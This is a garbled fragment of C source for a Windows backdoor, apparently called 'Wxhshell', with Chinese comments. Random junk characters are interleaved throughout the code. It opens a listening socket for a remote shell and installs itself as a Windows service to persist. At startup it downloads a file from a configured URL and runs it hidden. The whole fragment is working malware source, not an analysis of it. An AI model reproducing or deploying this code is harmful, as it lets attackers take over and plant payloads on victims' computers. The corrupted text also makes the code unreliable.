5" hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ia:puks= if(!hProcess) return 0; 1e&b;l'*= 9XvM%aHs: if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7Sq{A@ET +{ !t~BW CloseHandle(hProcess); l(\8c><m =2]rA hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VQjFEJ if(hProcess==NULL) return 0; 1";e'?^x SliQwm5 HMODULE hMod; -G#@BtB2+ char procName[255]; iiB )/~!O unsigned long cbNeeded; ^i)Q
CDU7 L00;rTs> if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J*KBG2+13 Tc5OI' -V CloseHandle(hProcess); 3l(;Pt-yI ,h.Jfo54, if(strstr(procName,"services")) return 1; // 以服务启动 yi-"hT` A<X :K
nl return 0; // 注册表启动 j{Jc6U } ZfCr"aL gdFoTcHgO| // 主模块 NG!cEo:2aa int StartWxhshell(LPSTR lpCmdLine) 4m[C-NB!g { cW\Y?x
SOCKET wsl; Yk@s"qm3 BOOL val=TRUE; ::Q); int port=0; G|oB'~{& struct sockaddr_in door; &\lS [piF MxZP if(wscfg.ws_autoins) Install(); S Y>,kwHO @TPgA(5NR port=atoi(lpCmdLine); $0S#d@v} 4\SBf\ c if(port<=0) port=wscfg.ws_port; ) wo2GF [Ro0eH WSADATA data; /Q>{YsRRB if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uQtk|)T E <bXWkj if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; S]%U] setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Dw/Gha/ door.sin_family = AF_INET; \R>5F\ 0 door.sin_addr.s_addr = inet_addr("127.0.0.1"); DEp%\sj? door.sin_port = htons(port); lJ] \ 4OZ5hH
h if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q()RO*9 closesocket(wsl); =
EChH@3 return 1; 9_A0:S9Z } /xm#:+Sc :;*#Qh3" if(listen(wsl,2) == INVALID_SOCKET) { kPX2e h closesocket(wsl); .6 ?>t!&W return 1; } .H Fm'p } &J/4J Wxhshell(wsl); G9y12HV WSACleanup(); dMs39j {F6dSF` return 0; :n>ccZeMv *[1u[H9Cv } +=*m! 7Mr &;h~JS= // 以NT服务方式启动 p1VahjRE- VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r{B,uj" { 0.BUfuuh DWORD status = 0; &kjwIg{ DWORD specificError = 0xfffffff; fzFvfMAU R4~zL!7; serviceStatus.dwServiceType = SERVICE_WIN32; q>|[JJ*6_N serviceStatus.dwCurrentState = SERVICE_START_PENDING; &A9A#It serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #C,f/PXfaB serviceStatus.dwWin32ExitCode = 0; bu"68A;> serviceStatus.dwServiceSpecificExitCode = 0; 3+8" serviceStatus.dwCheckPoint = 0; ,+f0cv4 serviceStatus.dwWaitHint = 0; m~j\?mb{+ ~Riu*< hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 01{r^ZT`RH if (hServiceStatusHandle==0) return; ?y*+^E0 6`4W, status = GetLastError(); Y zBA{FE if (status!=NO_ERROR) /@:up+$ { nc\C4g serviceStatus.dwCurrentState = SERVICE_STOPPED; ? __aVQ7 serviceStatus.dwCheckPoint = 0; d7_ g
u serviceStatus.dwWaitHint = 0; 0n<(*bfW serviceStatus.dwWin32ExitCode = status; w^dueP7J serviceStatus.dwServiceSpecificExitCode = specificError; $uFh$f SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q{l*62Bx return; v<7Gln } D _bkUR1 +{C9uY)$vf serviceStatus.dwCurrentState = SERVICE_RUNNING; #[U9(44, serviceStatus.dwCheckPoint = 0; O{B
e )E~ serviceStatus.dwWaitHint = 0; csdOIF if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u$%D9Z ^ } g",w kO| d(DX(xg // 处理NT服务事件,比如:启动、停止 :<t{ =0G VOID WINAPI NTServiceHandler(DWORD fdwControl) 8G5)o` { Nr]8P/[~ switch(fdwControl) )pZekh]v { te\h?H case SERVICE_CONTROL_STOP: 7dlKdKH serviceStatus.dwWin32ExitCode = 0; N7~)qqb serviceStatus.dwCurrentState = SERVICE_STOPPED; rZ!Yi*? f serviceStatus.dwCheckPoint = 0; :<N6i/ serviceStatus.dwWaitHint = 0; RhV:Z3f`6 { &G
pA1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); jr[<i\! } | ,1bkJt return; da00p-U case SERVICE_CONTROL_PAUSE: hSkc9jBF serviceStatus.dwCurrentState = SERVICE_PAUSED; W3jXZ> break; 0tW<LR-}E case SERVICE_CONTROL_CONTINUE: Pn+IJ=0Y serviceStatus.dwCurrentState = SERVICE_RUNNING; &'huS?gA9 break; J~iOP case SERVICE_CONTROL_INTERROGATE: W8G9rB|T break; MS st }; b@2Cll# SetServiceStatus(hServiceStatusHandle, &serviceStatus); &PRx,G5 } B|Fl,55 uO
?Od // 标准应用程序主函数 ]<8B-D?Z int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8NaL{j1` { zmB31' _ FI1THzW4J // 获取操作系统版本 GJIWG&C03 OsIsNt=GetOsVer(); %_b^!FR GetModuleFileName(NULL,ExeFile,MAX_PATH); j!lAxlOX @q> ktE_ // 从命令行安装 V\@jC\-5Vt if(strpbrk(lpCmdLine,"iI")) Install(); N;Z`%& *?^Z)C> // 下载执行文件 Sg. +`xww3 if(wscfg.ws_downexe) { }xkLD! if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?~aZ#%*i8 WinExec(wscfg.ws_filenam,SW_HIDE); < |